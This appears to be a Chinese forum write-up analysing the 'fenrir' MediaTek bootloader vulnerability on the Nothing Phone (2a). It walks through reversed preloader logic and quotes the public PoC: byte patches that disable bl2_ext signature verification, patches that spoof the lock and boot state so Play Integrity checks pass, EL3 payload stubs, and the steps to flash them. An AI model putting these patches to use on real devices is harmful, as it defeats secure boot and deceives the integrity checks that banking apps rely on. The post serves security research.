漏洞利用链:777K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6d9x3s2u0@1x3i4Z5J5i4K6u0r3k6X3g2F1M7X3W2J5
Nothing Phone固件下载:a2eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6K6M7r3W2C8k6e0m8W2L8W2)9J5c8X3&6G2N6r3S2A6L8X3N6Q4y4h3k6S2M7X3y4Z5K9i4k6W2i4K6y4r3N6r3q4T1i4K6y4p5M7X3g2S2k6r3#2W2i4K6u0V1L8%4k6Q4x3X3c8X3K9h3I4W2
先介绍一下bl2_ext,它是MTK设备 启动流程中一个运行在 EL3(ARM 最高特权级)的核心引导组件,全称可理解为 Bootloader Stage 2 Extended(二级引导加载器扩展模块)。
bl2_ext位于BROM和preloader之后,是进入TEE、GZ、LK等核心组件前的一个关键节点。
正常情况下,bl2_ext 负责对后续所有启动组件(TEE、GZ、LK、Linux 内核)进行**<font style="color:rgb(31, 35, 41);background-color:rgba(0, 0, 0, 0);">签名校验和完整性验证</font>**,确保这些组件未被篡改。
由于 bl2_ext 自身负责验证后续的所有引导组件 (TEE, GZ, lk, boot 等),并且它在 EL3 (最高特权级别) 下运行,因此,能够任意修改 bl2_ext 就意味着可以完全打破整个安全启动链。
而在fenrir类漏洞场景中,当seccfg配置为解锁状态时,preloader将直接跳过对bl2_ext的签名校验。由于preloader仍然会跳转到EL3级别执行bl2_ext,所以攻击者可构造恶意的bl2_ext组件,从而加载后续所有未经校验的系统镜像,攻破整个安全启动链。
正常的Boot Chain

被攻破的Boot Chain

准备工作
在fenrir的README描述中,提到该漏洞可以在 Nothing Phone (2a) 上成功利用,所以在Nothing Archive上下载 Nothing Phone (2a) 的Full OTA和OTA images。我这里选择了一个比较早期的版本。

该漏洞主要出现在preloader,所以要对preloader进行逆向分析
在Pacman_V3.2-250904-1648-image-firmware.7z这个包里,可以找到preloader的二进制镜像文件


查询可知Nothing Phone (2a) 的芯片为 MTK 天玑 7200 Pro ,属于 ARMv8-A 64 位架构。

用IDA的ARM架构,64位,little-endian打开


IDA能成功反汇编和反编译

对preloader进行逆向分析
BROM和preloader的运行过程
在实际逆向前先了解一下BROM和preloader的运行过程:
手机上电后,芯片先从BROM开始执行。BROM会检查eFuse -> 校验preloader签名 -> 将preloader复制到SRAM,然后跳转执行。
preloader启动后会关掉看门狗 -> 设置栈 -> 初始化一些最基础的硬件(DRAM,PMIC,clock) -> 从eFuse(查看secure boot是否开启)和seccfg(是否unlock)读取安全状态 -> 决定怎么启动( normal / recovery / fastboot ,决定启动 A/B 哪个slot) -> 读bl2_ext,决定是否验签 -> 跳转执行下一阶段。
逆向分析
从上面可以知道漏洞点主要发生在“读bl2_ext,决定是否验签”这个过程,那么要逆向的核心就是找到在哪里进行seccfg是否unlock的判断,以及在判断unlcok后,跳过验证执行后续阶段的部分。
具体的逆向过程比较复杂就不详细阐述了,我的思路就是先通过字符串表找到了一些关键逻辑函数,然后不断查看交叉引用,找到了preloader的主流程函数,再继续跟踪到其他关键函数,最后还原出与漏洞相关的整个逻辑。
下面是我还原的逻辑(关键函数做了重命名,同时贴出来的代码都是美化过的):
首先是boot_flow_init()函数,它负责初始化和调用核心的状态检查逻辑。
该函数在 0x58af8 处调用了pmic_boot_status_check_and_unlock(1);
接着pmic_boot_status_check_and_unlock()在 0x58c40 处调用read_seccfg_and_set_verify_flag(2579LL, 0xEA24CuLL, 1LL, 7LL)。它是读取 seccfg 状态的关键步骤,并将结果输出到 MEMORY[0xEA24C]。
read_seccfg_and_set_verify_flag() 从 seccfg 中解析安全状态,如果开启了 EC_REBOOT_ENABLE,就设置 verify flag 并返回状态;否则清零 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | uint32_t read_seccfg_and_set_verify_flag(uint32_t tag, uint8_t *verify_flag)
{
uint32_t sec_status;
sec_status = parse_seccfg_status(*(uint32_t *)0xEA230);
if (sec_status & SECCFG_EC_REBOOT_ENABLE) {
log("EC_REBOOT_ENABLE\n");
return sec_status;
}
*verify_flag = 0;
return 0;
}
|
parse_seccfg_status()是一个包装函数,通过一个虚函数调用 seccfg 的 get_status() 方法 ,决定了 MEMORY[0xEA24C]是否被清零。
1 2 3 4 5 6 7 | uint64_t parse_seccfg_status(void seccfg_ctx)
{
/ init or update seccfg context */
seccfg_prepare(seccfg_ctx);
return seccfg_ctx->ops->get_status(seccfg_ctx, SECCFG_STATUS_OFFSET);
}
|
最后一步结合主流程函数和allow_skip_image_verify()函数分析。在allow_skip_image_verify()中,如果MEMORY[0xEA24C]在前面被清零,那么其返回值也是0,同时在主流程函数中也不会进行验签,直接跳转执行下一阶段。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | int main(int argc, const char **argv, const char **envp)
{
int n2;
unsigned int n0xD47 = 0;
unsigned int boot_flag;
if (sub_5BBE4(argc)) {
v5 = sub_52F48(sub_457B0(sub_45794()));
} else {
v5 = sub_42EDC(sub_4450(sub_45778()));
}
v8 = sub_57744(v5);
v9 = sub_57778(v8, 536576LL);
v11 = sub_5773C(v9, (const char *)(v10 + 3592));
v12 = sub_57734(v11);
MEMORY[0xE8AC0] = v13;
v49 = sub_58788(sub_57734(sub_5773C(sub_57744(sub_45628(sub_57734(sub_5773C(sub_57744(sub_52E24(sub_57734(sub_5773C(sub_57744(sub_21A64(v32)), "ow", ...)))))))), byte_83E37, ...)));
if (sub_515A0()) {
sub_5775C("", 540672LL);
n2 = 2;
goto FINISH_BOOT;
}
v206 = sub_45668(8u, ...);
if (!(_BYTE)v206 || allow_skip_image_verify() || !sub_50204()) {
if (!sub_58720(...)) {
if (!sub_58714()) {
n2 = 1;
goto FINISH_BOOT;
}
}
} else {
sub_5B40C("ec reboot!\n", ...);
n2 = 0;
}
FINISH_BOOT:
MEMORY[0xEB220] = n2;
v62 = sub_5B40C((const char *)(sub_57764(sub_5FB6C(MEMORY[0xE8AC0])) + 1721), ..., "MDFE_PG, ");
sub_50BA0(sub_57734(v62));
v70 = sub_57734(sub_5773C(sub_57778(sub_5FB6C(MEMORY[0xE8AC0]), 532480LL), (const char *)(v68 + 3858)));
sub_4FB5C(0LL, v70);
sub_3CC4(1LL, 1600000LL, ...);
sub_3C8C(sub_57734(sub_5773C(sub_57744(sub_3CC4(2LL, 1600000LL, ...)), "ot", ...)));
ab_boot_check();
sub_57734(sub_5773C(sub_57744(...), " chip_ver[%x]\n", ...));
return 0;
}
|
1 2 3 4 5 6 7 8 9 10 11 12 13 | bool allow_skip_image_verify(void)
{
uint32_t boot_reason;
boot_reason = sub_58600(2578) & 0x3FF;
log("skip verify check: flag=%d, boot_reason=%u\n",
MEMORY[0xEA24C],
boot_reason << 5);
return (MEMORY[0xEA24C] != 0) && (boot_reason < 0x19);
}
|
总结一下:
boot_flow_init 调用pmic_boot_status_check_and_unlock。
pmic_boot_status_check_and_unlock调用read_seccfg_and_set_verify_flag。
read_seccfg_and_set_verify_flag 调用 parse_seccfg_status 并根据其返回值的最高位来设置 MEMORY[0xEA24C] 的值。
- 如果最高位为 0 (解锁),则
MEMORY[0xEA24C] = 0。
- 如果最高位为 **1 **(锁定),则
MEMORY[0xEA24C]保持非零。
在main的allow_skip_image_verify中会检查MEMORY[0xEA24C],并返回一个bool值,如果设备解锁,MEMORY[0xEA24C] = 0,那么就会跳过验证。
PoC分析
PoC 的利用过程可以分为两个主要部分:修补 (Patching) 和 刷入 (Flashing)。
Patching
injector/inject.py 脚本负责对原始的 lk.bin (包含了 bl2_ext) 进行修补。其核心是 devices.py 文件中定义的 PatchStage。
PoC中提供了多个型号的补丁,我这里还以Nothing Phone(2a)举例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 | DEVICES = [
Device(
'Pacman',
'Nothing Phone 2a',
{
'sec_get_vfy_policy': PatchStage(
'sec_get_vfy_policy',
pattern='00 01 00 b4 fd 7b bf a9',
replacement='00 00 80 52 c0 03 5f d6',
match_mode=MatchMode.ALL,
description='Don\'t enforce secure boot policy',
),
'force_green_state': PatchStage(
'force_green_state',
pattern='c8 03 00 90 00 21 01 b9 c0 03 5f d6',
replacement='c8 03 00 90 1f 21 01 b9 c0 03 5f d6',
match_mode=MatchMode.ALL,
description='Force boot state to always be set to green',
),
'bypass_security_control': PatchStage(
'bypass_security_control',
pattern='a9 74 01 94 20 01 00 36',
replacement='a9 74 01 94 1f 20 03 d5',
match_mode=MatchMode.ALL,
description='Skip security error branch - always execute commands',
),
'spoof_sboot_state': PatchStage(
'spoof_get_sboot_state',
pattern='fd 7b be a9 f3 0b 00 f9 fd 03 00 91 f3 03 00 aa 20 00 80 52',
replacement='48 44 00 52 08 00 00 b9 00 00 80 52 c0 03 5f d6 1f 20 03 d5',
match_mode=MatchMode.ALL,
description='Force sboot state to always be ATTR_SBOOT_ONLY_ENABLE_ON_SCHIP',
),
'spoof_lock_state': PatchStage(
'spoof_lock_state',
pattern='20 02 00 b4 fd 7b be a9 f3 0b 00 f9 fd 03 00 91',
replacement='88 00 80 52 08 00 00 b9 00 00 80 52 c0 03 5f d6',
match_mode=MatchMode.ALL,
description='Force lock state to always be LKS_LOCK',
)
},
base=0xFFFF000050F00000,
),
]
|
其中的关键补丁是sec_get_vfy_policy,它通过搜索并替换 bl2_ext 中所有验证函数的字节码,来禁用安全启动策略。
PoC 将bl2_ext 中所有负责验证下一个引导分区的函数的某个局部代码全部从00 01 00 b4 fd 7b bf a9替换为00 00 80 52 c0 03 5f d6
00 00 80 52 -> mov w0, #0 (将返回值 w0 设置为 0)
c0 03 5f d6 -> ret (立即从函数返回)
这样就巧妙地将所有验证函数的内容替换为 return 0;。在 MTK 的引导逻辑中,返回 0 表示“验证成功”。
成功打破了信任链之后,PoC 还应用了其他补丁来欺骗 Android 系统,使其认为设备仍然处于安全状态:
force_green_state: 强制引导状态为“绿色”(Green),表示启动流程未被修改。
spoof_sboot_state: 伪造安全启动状态。
spoof_lock_state: 伪造锁状态为 LKS_LOCK。
这些补丁的目的是为了通过 Google 的 Play Integrity (以前的 SafetyNet) 检查,让设备在被 root 的情况下也能正常使用银行等应用。
Payload注入(可选)
PoC 还包含了一个可选的 PayloadStage 功能,用于在引导过程的不同阶段注入并执行任意代码。
build.sh 脚本会下载交叉编译工具链,并使用 payload/Makefile 来编译 stage1、stage2 和 stage3 的 C 代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | #include "common.h"
#include "debug.h"
__attribute__((section(".text.main"))) int main(void) {
printf("Entered pre-platform_init() stage1 payload!\n");
platform_init();
return 0;
}
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | #include "fastboot.h"
#include "debug.h"
void cmd_r0rt1z2(const char *arg, void *data, unsigned int sz) {
video_printf("r0rt1z2 was here...\n");
fastboot_info("pwned by r0rt1z2");
fastboot_okay("");
}
__attribute__((section(".text.main"))) void main(void) {
printf("Entered pre-notify_enter_fastboot() stage2 payload!\n");
fastboot_register("oem r0rt1z2", cmd_r0rt1z2, true, false);
notify_enter_fastboot();
}
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | #include "debug.h"
#include "mmu.h"
#include "string.h"
#include "common.h"
__attribute__((section(".text.main"))) void main(void) {
printf("Entered pre-notify_boot_linux() stage3 payload!\n");
}
|
然后inject.py 会将编译好的 payload 二进制文件注入到 lk.bin 镜像中的空闲区域 (例如,未使用的 eMMC 相关代码区域)。
最后 PoC 会修改 bl2_ext 中的某个函数调用 (称为 pivot),使其跳转到注入的 payload。payload 执行完毕后,再返回到原始的执行流程。
这部分功能主要是为了演示攻击者可以在 EL3 级别获得任意代码执行的能力。
Flashing
总体上是按以下步骤进行:
- 先要获取设备的
lk.bin 镜像。
- 运行
./build.sh <device> <path_to_lk.bin>。脚本会编译 payload (如果有的话),并调用 inject.py 将补丁和 payload 应用到 lk.bin,生成一个修改后的 <device>-fenrir.bin 文件。
- 使用
./flash.sh <device> (内部调用 fastboot),将修改后的 bootloader 刷入设备。
- 重启设备。
Preloader 因为设备已解锁,加载了被修改的 bl2_ext 而不进行验证。
- 被修改的
bl2_ext 在验证 TEE 等后续组件时,调用的是被替换为 return 0; 的函数,从而欺骗系统,让整个不安全的引导链得以继续。
- 最终,设备启动进入一个被完全控制的 Android 系统。
总结
这类漏洞利用当seccfg配置为解锁状态时,preloader将直接跳过对bl2_ext的签名校验的逻辑缺陷。通过构造恶意的bl2_ext组件,从而加载后续所有未经校验的系统镜像,攻破整个安全启动链。同时由于bl2_ext可以被完全控制,所以可以通过在bl2_ext中注入payload,劫持程序执行流程,实现EL3级任意代码执行。
传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!